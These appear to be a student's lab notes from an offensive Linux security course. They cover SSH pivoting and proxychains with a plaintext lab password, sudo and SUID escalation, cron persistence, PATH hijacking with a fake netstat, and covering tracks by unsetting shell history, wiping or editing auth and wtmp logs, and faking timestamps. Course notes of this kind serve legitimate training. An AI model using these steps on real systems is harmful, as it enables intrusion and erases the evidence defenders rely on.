ssh student@10.50.35.200 -L 60699:10.10.28.42:22

AbL96ElEXErsWr9

ssh demo1@localhost -p 60699

password

ssh student@10.50.35.200 -D 9050

AbL96ElEXErsWr9

proxychains ssh demo1@10.10.28.42

password

<https://gtfobins.github.io/>

sudo -l

sudo apt-get changelog apt

!/bin/sh

id

#root

SUID/GUID (set-user ID)

chmod 777

uid=0(root) gid=0(root) groups=0(root)

**\*need to have the same permission as on the system\***

find / -type f -perm /4000 -ls 2>/dev/null (SUID)

/bin/netstat\_natpu (ROOT PRIV)

netstat -natpu (NOT ROOT PRIV)

find / -type f -perm /2000 -ls 2>/dev/null (SGID)

find / -type f -perm /6000 -ls 2>/dev/null (SUID + SGID)

CRON (scheduled task in Linux aka persistence)

cat /etc/crontab

/etc/cron.hourly

/etc/cron.daily

/etc/cron.weekly

ls -al /var/spool/cron/crontabs

ls -al /etc/cron.d

crontab -e

ls -al /etc/cron.daily

cat /etc/cron.daily/<script file name>

**\*script running in the bg > write to a file aka /tmp or /var/tmp**

**echo $PATH**

netstat runs from /bin directory

cd /tmp

vim mal.sh

chmod +x mal.sh

./mal.sh

/tmp/mal.sh

Hello world!

ls -al /bin/netstat\_natpu

readelf -p .rodata /bin/netstat\_natpi | head -n 4

cd /tmp

mv mal.sh netstat

ls -altr

echo $PATH (NOT PERSISTENT, THIS WILL READ FROM CURRENT DIR “/tmp”)

netstat (same as netstat\_natpu)

Hello world!

cd ~

netstat (NORMAL NETSTAT)

**Persistence**

**Covering Tracks**

Artifacts

Work from /tmp directory

CPU/RAM usage (keep low profile)

echo $HISTFILE

/root/.bash\_history

unset this variable $HISTFILE before inputting commands

man init (systemD is newer and common)

ausearch -p 22

ausearch -m USER\_LOGIN -sv no

ausearch -ua edwards -ts yesterday -te now -i

w

last (wtmp)

lastb (bad login)

lastlog (last time a user has logged into the system)

ls -altr

**cleaning log files**

file /var/log/wtmp

find /var/log -type f -mmin -10 2> /dev/null

journalctl -f -u ssh

journalctl -q SYSLOG\_FACILITY=10 SYSLOG\_FACILITY=4

cat /var/log/auth.log | egrep -v "opened|closed"

awk '/opened/' /var/log/auth.log

last OR lastb OR lastlog

strings OR dd # for data files

more /var/log/syslog

head/tail

rm -rf /var/log/...

cat /dev/null > /var/log/...

echo > /var/log/...

Remove

egrep -v '10:49\*| 15:15:15' auth.log > auth.log2; cat auth.log2 > auth.log; rm auth.log2 +

Replace

cp auth.log > auth.log2; sed -i 's/10.16.10.93/136.132.1.1/g' auth.log2; cat auth.log2 > auth.log +

**\*^Active system log**

touch -r 3.txt 1.txt # Reference